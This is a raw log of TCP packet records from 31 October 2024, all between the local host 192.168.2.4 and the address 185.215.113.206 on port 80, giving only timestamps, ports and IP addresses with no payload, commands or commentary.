Oct 31, 2024 07:14:28.421349049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.421364069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421390057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.421400070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.421629906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421641111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421653032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421662092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421684027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.421710014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.421741009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421751976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421761990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421772957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421783924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.421788931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421799898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.421803951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.421833992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.421854973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.422307014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.422317982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.422327995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.422359943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.422383070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.466213942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.466226101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.466237068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.466248035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.466284990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.466284990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.505954027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.505965948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.505976915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.506006002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.506021976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539431095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539514065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539515018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539522886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539546967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539557934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539567947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539683104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539683104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539683104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539683104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539683104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539820910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539832115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539841890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539877892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539900064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539911032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539911985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.539938927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.539949894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540035009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540045023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540080070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540096045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540107012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540149927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540160894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540173054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540183067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540203094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540215969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540227890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540417910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540429115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540437937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540471077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540482044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540493011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540498972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540507078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540524006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540538073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540558100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540561914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540570021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540580988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540602922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540615082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540622950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.540961981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540982008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.540992022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.541019917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.541040897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.541146040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.541157961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.541168928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.541178942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.541194916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.541224003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.582727909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.582737923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.582746029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.582756996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.582894087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.582894087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.585200071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.585211039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.585221052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.585259914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.585273981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.624943972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.624955893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.624965906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.625008106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.625041008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.658565998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658576965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658586025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658631086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.658652067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658663988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658673048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658771992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658797979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.658797979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.658826113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.658838034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658879995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.658930063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658941031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658951998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658963919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.658974886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.658977032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659003019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659018040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659192085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659235001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659244061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659245014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659281969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659317970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659329891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659339905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659351110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659362078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659363031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659379005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659406900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659722090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659732103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659743071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659774065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659800053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659804106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659815073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659825087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659837961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659843922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659856081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659866095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659867048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659878016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.659897089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.659909010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.660378933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.660388947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.660429955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.660454988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.660500050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.698767900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.703556061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.986975908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987000942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987011909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987059116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987087965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987092972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987103939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987122059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987132072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987133980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987144947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987153053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987157106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987176895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987211943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987389088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987407923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987417936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987433910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987463951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987524033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987557888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987586021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987596989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987607002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987624884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987643957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987795115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987806082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987823009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987833977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987833977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987845898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:28.987855911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:28.987890005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152095079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152188063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152198076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152209044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152219057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152220011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152230978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152236938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152244091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152256012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152256966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152319908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152488947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152502060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152515888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152527094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152544022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152555943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152633905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152650118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152657986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152695894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152704954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152743101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152898073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152909040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152918100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152954102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152961016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.152967930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152981997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152992964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.152993917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.153007030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.153026104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.153037071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.153337955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.153383970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.153399944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.153410912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.153441906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.153444052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.153455973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.153465033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.153475046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.153486967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.153497934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.153536081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.153537035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.271286011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.271348000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.271359921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.271368980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.271404028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.271428108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.271437883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.271449089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.271461010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.271469116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.271473885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.271506071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.271527052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.315841913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.315907001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.315910101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.315920115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.315943003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.315953970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.315963984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.315964937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.315979004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.315989017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316006899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316023111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316025972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316039085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316049099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316071033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316098928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316131115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316143036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316152096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316174984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316195011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316260099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316278934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316294909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316298008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316323996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316334963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316356897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316368103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316395998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316579103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316620111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316637039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316667080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316678047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316679955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316704035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316719055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316730022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316730976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.316757917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.316768885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.390268087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390289068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390297890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390309095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390330076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.390345097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.390371084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.390372992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390409946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390414953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.390422106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390456915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.390542984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390553951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390564919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.390567064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.390589952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.390589952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.390614033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:29.435287952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435298920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435309887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435319901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435331106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435340881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435347080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435354948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435367107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435384035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:29.435395002 CET	80	49758	185.215.113.206	192.168.2.4
